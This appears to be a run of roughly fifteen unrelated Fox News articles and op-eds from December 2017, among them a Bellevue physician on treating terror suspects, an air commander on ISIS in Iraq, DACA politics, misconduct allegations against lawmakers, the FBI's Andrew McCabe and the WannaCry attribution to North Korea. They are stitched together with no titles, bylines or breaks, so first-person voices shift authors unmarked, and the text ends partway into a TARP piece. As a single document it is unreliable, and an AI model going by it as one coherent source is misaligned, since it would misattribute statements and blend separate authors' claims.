As a physician, I once trained and worked in the emergency room at Bellevue Hospital in New York. I remember the trauma slot, a large concrete common room at the heart of the ER thats at the ready 24/7 to treat victims of blunt and penetrating trauma, including gunshot wounds. The Bellevue Trauma and Shock Unit is one of the oldest and most accomplished trauma programs in the country, evaluating close to 1,000 patients per year. Since perpetrators and their victims are frequently brought in at the same time, it is not uncommon to see them lying next to each other on stretchers, with the perp chained to his.

I remember the strange emotions  a mixture of anger at the shooter and compassion for the victim  that I felt the first time I saw this. I also learned one of the hardest lessons of my career: As physicians, we cant distinguish. We have to do our best to save both. Once we superimpose moral judgments on top of our skill set, our effectiveness is compromised. As the Oath of Maimonides says, May I never see in the patient anything but a fellow creature in pain.

A few years ago I reported for Fox News on the Israeli-Syrian conflict, where doctors in northern Israel were treating Syrians who had been wounded while fighting Israelis. The conflicting emotions a doctor feels at times like that are hard to describe, but they ultimately give way to a training reflex: Help a patient survive and recover, no matter what the circumstance.

This unspoken clinical rule of treating all patients equally was never tested more than over the past two months at Bellevue.

We physicians are bound by our oath to treat all patients equally, regardless of circumstances.

On Oct. 31, 29-year-old Sayfullo Saipov allegedly drove his pickup truck down the bike path by West Street in Manhattan (I ride that trail frequently), killing eight and wounding 11, including a young teen who needed ICU care and a woman who needed bilateral amputations and reportedly may face paralysis.

Saipov, allegedly an ISIS sympathizer, was shot in the upper thigh by police and brought with his victims to Bellevue, where doctors worked around the clock to care for all of them. Its not up to the doctors to make judicial decisions, a supervising physician told me. No matter how unpalatable it may be, our obligation is to treat the injured, irrespective of the horrific deeds perpetrated.

After a few days, Saipov was moved to the prison ward on the 19th floor, an isolated, highly secure ward where, during my residency training, I provided medical treatment for prisoners who had committed a variety of crimes, including murder. I was conscious of the criminality, but it never interfered with the care I delivered.

On Dec. 11, another ISIS-inspired man, Akayed Ullah, is accused of detonating a pipe bomb he wore against his abdomen in a pedestrian tunnel that connects New Yorks Port Authority Bus Terminal with the Times Square subway station. Ullah was brought to Bellevue with soft tissue wounds and a blast injury to his liver. He underwent surgical debridement of the wound and is expected to recover rapidly, according to a source who certainly does not wish him well.

Luckily, injuries to the public were slight this time: A few cases of headache and hearing loss were brought to other hospitals. The psychological injury to people near the blast was much greater than any physical wound.

We physicians are bound by our oath to treat all patients equally, regardless of circumstances. At the same time, we wouldnt be human if we didnt lie awake at night worrying that we may save a terrorist animal who could go out and kill and terrorize again.
For more than three years, the people of Iraq have endured unspeakable suffering under the dark shadow of Islamic State terrorists. That shadow has now receded, as a result of the defeat of ISIS forces that was declared earlier this month by Iraqi Prime Minister Haider al-Abadi.

As commander of 21,000 coalition airmen who continue to fight alongside our Iraqi partners to fully annihilate ISIS and prevent its return, its my privilege to congratulate our Iraqi allies on this historic occasion and pause to honor the thousands who perished in the brave fight.

Every inch of ground the Iraqi Security Forces pried from ISIS is testament to their courage in the face of desperate enemy forces that employed suicide bombers, routinely shielded themselves with civilians, and rigged schools and homes with explosives.

The Iraqi Security Forces paid dearly to free their country, but they were never alone. Every step of their advance was covered by coalition airpower and enabled by air-ground teamwork.

Air-ground teamwork is nothing new. The U.S. military and its coalition partners have trained for years to ensure that air and ground forces can operate seamlessly. Yet the campaign to defeat ISIS ushered in a new approach.

Instead of a large U.S. and coalition ground force shouldering the effort, we worked with our local partners, who were supported by a small footprint of coalition conventional and special operations ground troops, all enabled by ever-present coalition air forces.

Throughout the fight, coalition airpower, along with an increasingly capable Iraqi Air Force, provided the Iraqi Security Forces an asymmetric advantage over their enemies. When Iraqi Security Forces fighters were pinned down by fire, coalition air controllers embedded with them called in precision airstrikes to silence the enemy.

When suicide vehicle bombers raced towards exposed Iraqi Security Forces fighters, airpower delivered precision weapons to stop the enemy forces from completing their grisly mission.

This complex teamwork spanned the globe and required extensive synchronization to ensure it worked in harmony. Surveillance aircraft  including unmanned ones flown by airmen in the United States  served as the Iraqi Security Forces eyes to monitor ISIS around the clock and provide intelligence.

Coalition planners in Qatar used this intelligence to develop airstrikes to the smallest detail, from weapon selection to timing, in order to effectively destroy targets while minimizing civilian casualties.

Coalition reconnaissance aircraft served as the ears of Iraqi Security Forces, intercepting ISIS conversations and warning of impending attacks. Airborne refuelers ensured this protective blanket of aircraft remained in the skies 24/7.

Coalition planners worked tirelessly so the Iraqi Security Forces ground attacks were in lockstep with the air plan. Our Iraqi allies advanced when our aircraft were overhead, and paused to rest when they were not. Together, we shaped the battlefield.

Before Iraqi Security Forces advanced to liberate Tal Afar, weeks of persistent surveillance and precision airstrikes targeted vehicle bombs like those used against the Iraqi Security Forces in the previous battle for Mosul.

By removing this threat early, our Iraqi allies liberated Tal Afar in a 12-day battle where only a handful of vehicle bombs were detonated. By creatively adjusting our tactics, we wrote a new chapter in the history of air-ground teamwork and liberated a nation.

The citizens of Iraq, especially those displaced by the difficult and destructive urban fights, now begin the slow process of returning home and rebuilding. As reliable partners, coalition nations and non-governmental organizations have begun to help, starting with clearing out booby traps and rigged explosives left behind by ISIS.

Much hard work remains. Providing basic safety and security is the first challenge, because no rehabilitation can happen without a secure and stable environment.

The liberation of Iraq does not spell the end of the fight. Coalition and Iraqi airmen continue to patrol the skies, hunting ISIS demoralized remnants to prevent their return. We will continue to hone our air-ground teamwork to safeguard the hard-won gains. As Iraqis celebrate their newfound liberty, it is worth pausing to embrace an accomplishment achieved together.
Editor's Note: This originally appeared in The Hill.

The Republican approach to immigration is shifting as the 2018 midterm elections loom.

The earthquake began when candidates backed by President Trump played strong anti-immigrant cards in Virginias gubernatorial race and Alabamas Senate race  and both came up losers.

Trump, who had begun pulling down the curtain on the Obama-era program called Deferred Action for Childhood Arrivals (DACA), is himself now talking a different game.

The popularity of DACA has been on the rise. The program allows many people who arrived illegally in the U.S. as children to avoid deportation.

Last week, Senate Minority Leader Charles Schumer, D-N.Y., took to the Senate floor and said, We are in the process of negotiating with Republicans to provide a significant investment in border security in exchange for DACA. These talks continue to progress, and Im hopeful we can reach an agreement.

Republican Sen. Jeff Flake , Ariz., told reporters last week that the working group was very close to a deal. Flake had previously said that he had a firm commitment from Senate leadership to work with him on a permanent DACA fix in exchange for his vote on the GOP tax cut bill.

Earlier this month, 34 House Republicans sent a letter to Speaker Paul Ryan, R-Wis., urging a vote on a DACA fix before the New Year. Many of those Republicans represent swing districts with a growing number of immigrants.

"We are compelled to act immediately because many DACA recipients are about to lose or have already lost their permits in the wake of the program's rescission," the letter read.

Trump, unlike any other Republicans, can do his party colleagues in Congressional a huge favor by resolving the issue before the midterm elections.

House Minority Leader Nancy Pelosi, D-Calif., said flatly, We will not leave here without a DACA fix.

Powerful business interests ranging from the U.S. Chamber of Commerce to Facebook CEO Mark Zuckerbergs immigration reform group have been lobbying Congress hard to pass a DACA fix.

If ever there was an occasion to come together to help people improve their lives, this is it, wrote Tim Cook, the left-leaning head of Apple, and Charles Koch, the conservative chief executive of Koch Industries, in a Washington Post op-ed last week.

While Trump has expressed sympathy for the children who were protected by DACA, the urgent question is whether he will have the courage to buck hard-right, anti-immigrant Republicans.

Just last week, Trump won plaudits from right-wing websites and TV commentators for tying immigration to terrorism and calling on Congress to end chain migration and visa lotteries in the wake of two recent attempted bombings by immigrants in New York City.

Rep. Steve King, R-Iowa, went very low this month when he tweeted diversity is not our strength, and quoted a Hungarian autocrat popular with European white nationalists, saying that mixing cultures leads to a lower quality of life.

Todays strong economy and vibrant American culture with 43 million immigrants, more than 13 percent of the population, clearly refutes Kings charge.

King obviously finds political advantage in Iowa by fanning anger at immigrants. Trump had success selling the same bitter brew nationwide in his winning 2016 presidential campaign.

He showed no change of heart when he quickly made political hay over a jurys decision earlier this month to acquit an undocumented immigrant of killing a young woman in San Francisco in 2015. Trump used the tragedy to rail against sanctuary cities and renew his call for a border wall.

No wonder the people of our country are so angry with Illegal Immigration, he tweeted.

The facts tell a different story, with U.S. Customs and Border Protection reporting that border apprehensions of people seeking to enter the nation illegally are at the lowest level in 45 years.

Trump earlier called for legal immigration to be cut in half. And he pardoned former Sheriff Joe Arpaio of Maricopa Co., Ariz., who was found guilty of contempt of court for detaining people for no other reason than suspicion of being illegal immigrants.

Trump also endorsed an accused child molester in the Alabama Senate race because, he claimed, the Democrat would be weak on immigration and border security.

Trumps drumbeat of demonization for immigrants gives him unimpeachable credentials among the GOP base.

Along with his March deadline, it creates an opening for him to have a Nixon to China moment in which a hardline president turns on a dime to make a surprising political deal.

Trump, unlike any other Republicans, can do his party colleagues in Congressional a huge favor by resolving the issue before the midterm elections. His base may trust him enough not to hold such a move against him.

President Bush couldnt get this done in 2006 due to opposition from right-wing talk radio hosts who shouted amnesty. Republicans on Capitol Hill failed again in 2013 when the far right blocked the push.

Once again, time is running out. Will Trump and the GOP seize the opportunity or have it as another albatross around their neck for the midterms?
Pennsylvania State Sen. Daylin Leach is facing accusations from former staffers, which he says is prompting him to take a step back from his campaign for Congress.

All of this has gotten out of hand, Leach said in a Facebook post Monday.

Eight women and three men claim the lawmaker had touched female employees inappropriately and held sexually inappropriate conversations, the Philadelphia Inquirer and Daily News reported.

Pennsylvania Governor Tom Wolf called for the congressional candidate to resign from his current post as state senator, saying the alleged behavior is unacceptable.

While he has been a leader on important policy issues, this conduct cannot be excused, Wolf said in a statement.

Leach did not admit to the accusations.

Its heartbreaking to me that I have put someone in a position that made them feel uncomfortable or disrespected, he said in a statement on Facebook.

He then made an update on his congressional campaign.

Today, I am taking a step back from the congressional campaign to focus on my family and work with Senate leaders to address these allegations and fully cooperate with them as they are all vetted, he said in the statement.

He did not mention whether he would step down as state senator, as Wolf had urged.
A Republican congressman on Monday urged the House to look into a report the Obama administration held up a Drug Enforcement Administration task forces investigation into Hezbollahs drug-trafficking and money-laundering operations, all to ensure the Iran nuclear deal remained on track.

After the bombshell expose in Politico Sunday revealed that Obama administration officials road-blocked the campaign of the task force, Project Cassandra, to curtail the Lebanese militant groups criminal activities, Rep. Robert Pittenger of North Carolina sent a letter to House Oversight Committee Chairman Trey Gowdy.

These revelations are shocking and infuriating, Pittenger said in a statement to Fox News. While American soldiers were bravely fighting ISIS terrorists, with some paying the ultimate price, the Obama administration reportedly was protecting Hezbollah terrorists who were funding themselves by trafficking illegal drugs. No wonder President Obama couldnt bring himself to call them Radical Islamist Terrorists.

Politico reported that the red tape against Project Cassandra allowed Hezbollah to evolve into a major global security threat bankrolling terrorist and military operations.

When Project Cassandra leaders, who were working out of a DEAs Counter facility in Chantilly, Virginia, sought approvals for some significant investigations, prosecutions, arrests and financial sanctions, Justice and Treasury Department officials delayed, hindered or rejected their requests, according to Politico.

The report detailed how the closer the U.S. got to finalizing the Iran nuclear deal, the more difficult it was to conduct Hezbollah investigations. After President Obama announced the deal in January 2016, Project Cassandra officials were transferred to other assignments, Politico added.

OBAMA ADMINISTRATION UNDERMINED ANTI-HEZBOLLAH TASK FORCE TO HELP SECURE IRAN NUKE DEAL, REPORT SAYS

This is the same administration that sent $1.7 billion in cash ransom to Iran, Pittenger continued in the statement. The growing nexus between terrorist organizations and Latin American drug cartels poses a grave threat to our national security, especially considering the porous state of our southern border. Last month, I hosted a forum in Buenos Aires for 220 Members of Parliament and government officials from 15 South American countries with government and private sector experts to address the critical challenge of intercepting drug related funding of terrorism.

Hezbollah was formed by the Iranian Revolutionary Guard in 1982 to fight Israels invasion of Beirut. Under the leadership of Hassan Nasrallah, who took over in 1992 after his predecessor, Abbas Mussawi, was killed in an Israeli airstrike, the group moved from seeking to implement an Iranian-style Islamic republic in Lebanon to focusing on fighting Israel and integration into Lebanons sectarian-based politics.

Nasrallah, now 57, has played a key role in ending a feud among Shiites, focusing attention toward fighting Israel and later expanding the groups regional reach.

The Associated Press contributed to this report.
Pennsylvania Gov. Tom Wolf, a Democrat, vetoed a bill on Monday that would have added more restrictions to abortions in the state.

The bill, which would have limited abortions to the first 20 weeks of pregnancy, had passed in the Republican-controlled legislature.

Wolf, a supporter of abortion rights, called the bill "a disingenuous and bald-faced attempt to pass the most extreme anti-choice legislation in the country."

Wolf told a crowd at Philadelphia City Hall, "This legislation is an attempt to criminalize the decisions that women must be allowed to make about their own health care."

The bills main feature called for a ban on elective abortions after 20 weeks from a pregnant womans last menstrual period  compared to 24 weeks in current law.

The 20-week limit would have kept in place exceptions under current law for when a mother's life or well-being is at risk, but it had no exceptions for rape, incest or fetal abnormalities. Nineteen states have a similar ban, according to the nonprofit research group Guttmacher Institute.

GOP REP. TIM MURPHY RESIGNS AFTER REPORTS HE ASKED MISTRESS TO GET ABORTION

State Sen. Michelle Brooks, who sponsored the bill, said she was disappointed Pennsylvania "will be unable to protect so many babies in the future, who will never know the joy of living." She noted that a baby can survive outside the womb before 24 weeks due to advances in technology, and she argued that laws must catch up.

The American Congress of Obstetricians and Gynecologists reports that delivery before 23 weeks of gestation typically results in death.

Planned Parenthood said the proposed abortion law would have been the most restrictive in the U.S.

The bill also would have effectively banned dilation-and-evacuation, the most common method of second-trimester abortion, opponents said. Brooks argued that the bill does not ban the procedure, but rather, the fetus must first be injected by saline to cause its death. There were 1,588 dilation-and-evacuation abortions in Pennsylvania in 2015, according to state statistics.

The American Congress of Obstetricians and Gynecologists says there is no evidence that inducing fetal death makes second-trimester abortions safer, and opponents have questioned whether such an injection makes it less safe for the mother.

The bill was opposed by the Pennsylvania Medical Society and the Pennsylvania section of the American Congress of Obstetricians and Gynecologists.

The Associated Press contributed to this report.
Bruce Ohr, the former associate deputy attorney general who was demoted at the Justice Department in the wake of revelations about undisclosed meetings he had with officials from Fusion GPS, had his scheduled testimony before the Senate Intelligence Committee postponed until later this week, sources told Fox News.

Ohr was set to appear before the Senate panel Monday, but the appearance was delayed after the committee secured new related documents, which members wanted to review before hearing from him.

Fusion GPS is the company that commissioned the anti-Trump dossier containing salacious allegations about then-candidate Donald Trump.

Ohrs wife, Nellie Ohr, worked at Fusion GPS during the summer, specifically on Trump-related issues.

Together, the Fusion connections for the couple have raised Republican concerns about objectivity at the Justice Department, and even spurred a call from Trumps outside counsel for a separate special prosecutor.

Fox News previously reported last week that Bruce Ohr had been demoted.

Evidence collected by the House Permanent Select Committee on Intelligence (HPSCI), chaired by Rep. Devin Nunes, R-Calif., indicates that Ohr met during the 2016 campaign with Christopher Steele, the former British spy who authored the dossier.

Republican lawmakers have spent the better part of this year investigating whether the dossier, which was funded by the Hillary Clinton campaign and the Democratic National Committee, served as the basis for the Justice Department and the FBI to obtain FISA surveillance last year on a Trump campaign adviser named Carter Page.

Last week, Trump's attorney Jay Sekulow called for the appointment of a separate special prosecutor to look into potential conflicts of interest involving Justice Department and FBI officials.

A group of House Republicans for months has called for the appointment of a second special counsel to probe certain Obama and Clinton-related controversies, something Attorney General Jeff Sessions is reviewing.

Fox News Chad Pergram contributed to this report.
President Donald Trump's "America First" strategy, detailed in a speech Monday, featured strong words about China and Russia, countries that the president described as "rival powers" to the U.S.

But despite Trump's stated goal of building "a great partnership with them," both countries seemed less than enthusiastic about the plan in responses issued Tuesday.

A document outlining Trump's plan accuses Russia of using "subversive measures" to weaken America's credibility and European governments, specifically calling out Moscow for "its invasions of Georgia and Ukraine."

The document doesn't specifically mention Russian meddling in last year's U.S. presidential election. But it warns that Russia and China are more effectively using cyberattacks and online propaganda, saying the U.S. and allies must counter the misinformation.

Dmitry Peskov, a spokesman for Russian President Vladimir Putin, told reporters Tuesday that the mentions of Russia struck Moscow as "imperial" and showed "an aversion to a multipolar world."



Peskov, however, said Moscow was encouraged by calls to cooperate with Russia in areas that could be beneficial for the U.S.

H.R. McMaster, the U.S. national security adviser, told the BBC after Trump's speech that Russia has used propaganda and disinformation against the world's democracies, describing the meddling as "certainly" a threat to U.S. national security.

McMaster said Russia was engaged in supporting groups on both the left and right of the political spectrum, with the goal of creating tension between the groups to undermine democracy.

Meanwhile, China, like Russia, also is determined to reshape the world according to its own ideals, Trump said Monday.

"Chinese dominance risks diminishing the sovereignty of many states" in its region and beyond, the Trump administration's strategic document says.

The strategy calls for stronger traditional alliances and new partnerships in Asia amid a "geopolitical competition between free and repressive visions of world order."

One new policy proposed: Restricting visas to prevent intellectual property theft by foreigners, particularly Chinese, who travel to the U.S. to study science, engineering, math and technology.

But the decision to label Beijing a rival in a national security strategy report reflects a "victory of hardliners" in Trump's administration, China's official news agency warned Tuesday.

Trump's stance "probably means Chinese-U.S. economic and trade relations will face even more pressure and challenges," the Xinhua News Agency wrote.

Trump's security statement marked a revival of the anti-China rhetoric he used during the 2016 U.S. presidential campaign, the Financial Times reported, noting that Trump had been more restrained in remarks on China while trying to convince Beijing to intervene in the North Korea nuclear crisis.

The remarks also signaled that Trump may be relying more on U.S. Trade Representative Robert Lighthizer, known as an economic nationalist, than on globalists such as Gary Cohn, head of the White House National Economic Council, the FT reported.

China's Global Times newspaper, published by the ruling Communist Party, said Trump's report "reflects Washington's reluctance to accept the reality of China's rise."

The Associated Press contributed to this story.


North Korea was behind the massive WannaCry cyberattack in May that spread around the world costing billions of dollars, White House Homeland Security Adviser Tom Bossert announced in a Wall Street Journal op-ed Monday.

In the article, entitled, Its Official: North Korea Is Behind WannaCry, Bossert wrote that the Hermit Kingdom was the main culprit behind the May 2017 global cyberattack in which computers running Windows were targeted. During the infamous attack, data were encrypted and ransom payment, in the form of bitcoin, was demanded of users if they wanted their data back.

Cybersecurity isnt easy, but simple principles still apply. Accountability is one, cooperation another, Bossert's op-ed read. They are the cornerstones of security and resilience in any society. In furtherance of both, and after careful investigation, the U.S. today publicly attributes the massive WannaCry cyber attack to North Korea.

Bossert elaborated at a White House press briefing on Tuesday morning, saying that after "careful investigation," the U.S. made the attribution to North Korea.

"We dont do this lightly," Bossert said during the briefing. "We do so with evidence and with partners."

Bossert noted that Canada, New Zealand, Japan and the United Kingdom, and Australia joined the U.S. in denouncing North Korea for the attack.

While victims received ransom demands, paying did not unlock their computers, the homeland security adviser wrote in his op-ed. It was cowardly, costly and careless. The attack was widespread and cost billions, and North Korea is directly responsible.

He added that the Department of Homeland Security was not taking the allegation lightly. He said it was based on credible evidence, that the United Kingdom attributes the attack to North Korea and that Microsoft traced the attack to cyber affiliates of the regime.

North Korea has acted especially badly, largely unchecked, for more than a decade, and its malicious behavior is growing more egregious. WannaCry was indiscriminately reckless, Bossert asserted. Stopping malicious behavior like this starts with accountability. It also requires governments and businesses to cooperate to mitigate cyber risk and increase the cost to hackers.

He added, The U.S. must lead this effort, rallying allies and responsible tech companies throughout the free world to increase the security and resilience of the internet.

During the briefing, Bossert said the Trump administration would continue to pressure Pyongyang to curb its ability to mount attacks, and would seek to partner with the private sector to prevent future attacks.



He said President Trump "has used just about every lever you can use short of starving the North Korean people to death to change their behavior. So we don't have a lot of room left here to apply pressure to change their behavior. It's nevertheless important to call them out, let them know it's them and we know it's them."

Rep. Elijah Cummings of Maryland, the top Democrat on the House Oversight Committee, released a statement Monday evening regarding the revelation.

I commend the men and women of our Intelligence Community for their strong work in following the evidence and putting forth their assessment of these events, and I urge our international partners to fulfill their responsibilities under the sanctions regimes that are now in place, he said in the statement. I look forward to hearing additional details in classified session in the coming days.

Cummings also commented on how the news was released to the public.

President Trump is handling the intelligence assessments regarding North Korea and Russia completely differently, staging an elaborate media roll-out to press on sanctions against North Korea while at the same time discrediting the assessment by these very same intelligence agencies that the Kremlin interfered with our election. Why isnt President Trump taking these same steps in response to Russia?

The United States in 2014 also formally accused North Korea of hacking Sony Pictures Entertainment over the movie "The Interview," a satirical film about a plot to assassinate North Korea's leader.

Fox News' Brooke Singman and The Associated Press contributed to this report.
A nearly $2 billion high-speed Amtrak rail project in Illinois is in its final phase of construction  news coming on the heels of Monday's deadly Amtrak derailment in Washington state.



The Illinois passenger service at speeds of up to 90 mph should begin in the summer, the State Journal-Register reported.

Speeds of 110 mph between Chicago and St. Louis may be possible by 2019, Illinois Transportation Secretary Randy Blankenhorn told the paper -- provided the rail line's GPS-based Positive Train Control technology is installed by then.

The project is expected to be completed on time and in budget, he said, with the federal government paying $1.65 billion and Illinois paying $300 million, he said.

Safety, technology and accessibility improvements also are planned for the Amtrak station in Springfield, Ill., Blankenhorn told the paper. In addition to crossing and signal upgrades, six-foot safety fencing will be installed on each side of the Third Street tracks in the city.



He also said Amtrak is dedicated to improving its performance.

Its not so much about speed as it is reliability, Blankenhorn said. Passengers would use our trains a lot more if they knew they were going to be there when they need them and were not going to be an hour-and-a-half late.

The Associated Press contributed to this report.
Multiple politicians have been accused of sexual misconduct in 2017, leading to ethics investigations and resignations.

Here are the Republicans and Democrats who have been accused of sexual misconduct this year.

John Conyers

Nearly a half-dozen women who previously worked for Rep. John Conyers, D-Mich., recently accused him of sexual misconduct. Many of the women claimed Conyers harassed or touched them inappropriately.

Conyers has denied the allegations. Still, many of his colleagues encouraged him to step down.

The representative, who was first elected in 1964, retired on Dec. 5. At the time of his retirement, Conyers endorsed his 27-year-old son, John Conyers III, to replace him. Its not yet clear if he plans on running for his fathers old seat.

Blake Farenthold

Republicans said Texas GOP Rep. Blake Farenthold won't seek re-election amid sexual harassment allegations.

House Speaker Paul Ryan, R-Wis., told reporters on Dec. 14 that Farenthold was making the right decision to retire, citing the unacceptable behavior that has been alleged.



The news comes after the House Ethics Committee announced in early December that it was expanding an investigation into sexual harassment allegations against Farenthold.

The committee said it would investigate whether Farenthold sexually harassed a former member of his staff and retaliated against her for complaining. The committee also said the panel would review allegations that Farenthold made inappropriate statements to other members of his official staff.

Lauren Greene, a former communications director in the congressman's office, alleged in a 2014 federal lawsuit that she was sexually harassed and fired soon after complaining of a hostile work environment. Farenthold said when the case was settled in 2015 that he didn't engage in any wrongdoing.

Following the announcement, Farenthold said he was "relieved" that the Ethics Committee would look further into the case.

"Once all the facts are released, I'm confident this matter will once and for all be settled and resolved," Farenthold said. "I'm also pleased the Committee on Ethics recognizes, as per their statement, that I have cooperated fully with the committee's investigation and acknowledged a decision has been delayed because of difficulty obtaining live testimony from other witnesses.

"This investigation increases the transparency the public deserves and what I've wanted since the beginning."

Al Franken

At least eight different women have accused Democratic Minnesota Sen. Al Franken of sexual misconduct.

Many of the women allege that Franken forcibly kissed them, groped them and made unwanted sexual advances.

Franken, a comedian turned politician who has been in office since 2009, was first accused by Los Angeles radio anchor Leeann Tweeden, who claimed Franken forcibly kissed her during a 2006 USO tour.

After more women came forward, Franken faced a Senate Ethics Committee investigation, and many Democrats encouraged Franken to step down.

Franken, who has apologized for his actions, announced in early December that he will resign from the Senate "in the coming weeks." Fox News confirmed on Wednesday that the senator will resign on Jan. 2. He will be replaced by Minnesota Lt. Gov. Tina Smith the following day.

Trent Franks

Arizona Rep. Trent Franks stepped down in early December amid news reports that he allegedly pressed a former aide to carry his child. Franks reportedly offered her $5 million to act as a surrogate.

Franks first announced his resignation on Dec. 7, saying that he would formally step down in January. But after his wife was admitted to the hospital, his plans changed and his resignation was effective as of Dec. 8, 2017.

The representative was reportedly encouraged to step down by Speaker Paul Ryan, who learned of an House Ethics Committee investigation into his behavior.

Franks admitted that discussing surrogacy with two of his female staffers made certain individuals uncomfortable.

Ruben Kihuen

A former aide, identified only as Samantha, recently accused Nevada Rep. Ruben Kihuen, a first-term lawmaker, of repeatedly making sexual advances toward her during the 2016 congressional campaign.

On two occasions, she said, he touched her thighs without consent. She also claims that the representative propositioned her for dates and sex on multiple occasions despite her repeated rejections. Buzzfeed first reported the former aides allegations.

"I sincerely apologize for anything that I may have said or done that made her feel uncomfortable. I take this matter seriously as it is not indicative of who I am," Kihuen said in a statement following the report. "But I want to make it clear that I don't recall any of the circumstances she described."

A top House Democrat said Kihuen should resign amid the allegations. Minority Leader Nancy Pelosi said she found Samanthas allegations to be convincing, the Associated Press reported. Rep. Ben Ray Lujan of New Mexico, who heads the Democrats campaign arm, has also called on Kihuen to resign.

On Dec. 14, a second woman came forward with allegations against Kihuen. The woman, who is currently unnamed, first told the Nevada Independent that the representative made inappropriate sexual advances toward her, like touching her thighs or buttocks, as well as sending her suggestive Facebook and text messages.

Shortly after the second woman came forward and one day after House Ethics Committee said it had opened an investigation into the harassment claims against him, Kihuen announced that he would not seek re-election.

"I want to state clearly again that I deny the allegations in question," Kihuen said in a statement.

"However, the allegations that have surfaced would be a distraction from a fair and thorough discussion of the issues in a reelection campaign. Therefore, it is in the best interests of my family and my constituents to complete my term in Congress and not seek re-election."

Roy Moore

Roy Moore, a former Alabama judge and the 2017 Republican candidate in the United States Senate Special election in Alabama, was accused of having inappropriate sexual relations with teenage girls while he was in his 30s, the Washington Post reported in a bombshell report about a month before the special election.

Since the report, additional women have come forward with sexual misconduct allegations.

Moore has vehemently denied the accusations, once calling them the definition of fake news.

After the allegations came to light, however, many Republicans called on him to step aside from the campaign. But others, like President Trump and Steve Bannon, continued to stand by Moore despite the accusations.

Moore lost the election to Doug Jones on Dec. 12.

The Associated Press contributed to this report.
Top Republicans are stepping up their criticism of FBI Deputy Director Andrew McCabe, even suggesting he should be ousted amid allegations conflicts of interest and anti-Trump political prejudice at the agency.

Andrew McCabe cuts across every facet of every investigation in 2016 that your viewers are interested in from Secretary [Hillary] Clintons emails to the investigation into the Trump campaign, Rep. Trey Gowdy, R-S.C., a member of the House Judiciary Committee, told Fox News' "America's Newsroom" on Tuesday.

A day earlier, Senate Judiciary Chairman Chuck Grassley told reporters that McCabe should be fired.

And Ive said that before and Ive said it to people who can do it, he said.

But Grassley, R-Iowa, added that doesnt mean President Trump should get involved.

Trump ought to stay out of it. I think its a Christopher Wray job, Grassley reportedly said.

REPUBLICANS TURN FOCUS TO MCCABE OVER TRUMP TEXTS

McCabe is testifying Tuesday afternoon in a closed-door hearing before the House Intelligence Committee as part of its investigation into Russian meddling in the 2016 presidential election.

McCabes Tuesday appearance follows tough talk and accusations from the White House and Republican allies of political bias involving him, the FBI, the Justice Department and Special Counsel Robert Mueller's team.

Ill be a little bit surprised if [McCabes] still an employee of the FBI this time next week, Gowdy told Fox News several days ago.

Several Republicans say they want to know what McCabe knows about text messages between two bureau officials, including one in particular that seems to reference an insurance policy against Trump winning the 2016 election.

I want to believe the path you threw out for consideration in Andys office - that theres no way he gets elected - but Im afraid we cant take that risk, Peter Strzok texted on Aug. 15, 2016. Its like an insurance policy in the unlikely event you die before youre 40.

Some lawmakers think "Andy" was a reference to McCabe.

The text was among hundreds of messages -- many anti-Trump -- recently released by the Justice Department between FBI officials Strzok and Lisa Page. Stzrok and Page were romantically involved and previously worked on Muellers Russia investigation.

That is devastating and were going to explore that at 2 p.m. today, Gowdy said Tuesday of the text.

The session with McCabe was delayed from last week.

Lawmakers also may question McCabe on demoted DOJ official Bruce Ohr and his wife Nellie Ohr.

Bruce Ohr was reprimanded in the wake of revelations about undisclosed meetings he had with officials from Fusion GPS. Fusion GPS is the company that commissioned the infamous anti-Trump dossier that contained salacious allegations about then-candidate Donald Trump.

Nellie Ohr worked at Fusion GPS during the summer, specifically on Trump-related issues.

Republicans have also questioned whether McCabe has a conflict of interest. McCabes wife in 2015 ran for a state Senate seat in Virginia, backed by money from donors associated with Democratic presidential candidate Hillary Clinton.

In July, President Trump first suggested that McCabe should be fired.

Why didnt A.G. Sessions replace Acting FBI Director Andrew McCabe, a Comey friend who was in charge of Clinton investigation but got  big dollars $700,000 for his wifes political run from Hillary Clinton and her representatives, he tweeted. Drain the Swamp!

Trump cant fire McCabe outright because McCabe is a career appointee  not a political one.

McCabe began his career at the FBI in 1996 investigating organized crime. He shifted to counterterrorism and ultimately held senior posts at the FBIs National Security Branch.

He was named the bureaus deputy director in January 2016 by then-FBI director Jim Comey. McCabe briefly served as acting director of the FBI after Trump fired Comey in May.
The chairman of the Senate's homeland security committee is demanding information from the General Services Administration about why it turned over Trump transition documents to Special Counsel Robert Muellers team for its Russia investigation  something lawyers for the transition team have called unlawful.

In a Tuesday letter first obtained by Fox News, Wisconsin Sen. Ron Johnson, Republican chairman of the Committee on Homeland Securty and Government Affairs, requested a variety of information from the GSA director, including a description of the steps taken by the agency to determine if it was appropriate to provide the documents to the special counsels office.

Johnson also asked for the name of the GSA staff member who authorized handing the documents over to Mueller.

GSAs alleged actions could have serious ramifications for presidential transitions in the future, Johnson wrote in the letter. An incoming administration must be ready to govern on Day 1. Any threat to the close coordination between the transition and outgoing administration could create vulnerabilities to governance, readiness and national security.

Over the weekend, Kory Langhofer, the counsel to Trump for America, said that the GSA did not own or control the records in question, and that the document release could violate the Fourth Amendment. That amendment protects against unreasonable searches and seizures.

Trump for America is the nonprofit organization that facilitated the transition between former President Barack Obama and President Trump.

The GSA, a government agency, provided the transition team with office space and hosted its email servers.

TRUMP TRANSITION LAWYER: MUELLER IMPROPERLY OBTAINED DOCUMENTS IN RUSSIA PROBE

In his letter to the agency, Johnson said the GSA did not have authority over transition documents. He said that the Presidential Transition Act of 1963 gave the GSA a prominent role in the transition process, but that it acts merely as a facilitator of office space, supplies and services.

The National Archives and Records Administration considers records of the presidential transition team to be private records  not federal or presidential records," Johnson said. "GSA does not have authority over the transitions operations, its employees or its records.

The attorney said they discovered the unauthorized disclosures by the GSA on Dec. 12 and 13 and raised concerns with the special counsels office.

Those records included emails sent and received by 13 senior Trump transition officials. Among the officials who used transition email accounts was the former national security adviser Michael Flynn, who pleaded guilty to a count of making false statements to FBI agents in January and is now cooperating with Mueller's investigation.

GSAs alleged actions could have serious ramifications for presidential transitions in the future."  Wisconsin Sen. Ron Johnson, chairman of the Senate homeland security committee

The special counsel's office has said it went through the "appropriate" process to obtain the emails.

When we have obtained emails in the course of our ongoing criminal investigation, we have secured either the account owners consent or appropriate criminal process, Peter Carr, spokesman for the special counsels office, told Fox News.
A crap sandwich.

Those were the words of former House Speaker John Boehner, R-Ohio, in the fall of 2008.

The global economy teetered on the brink. Lawmakers from both parties realized they had to approve a $700 billion financial rescue package to salvage the nations financial system with a measure called TARP  the Troubled Assets Relief Program. No one wanted to vote for it. But they had to.

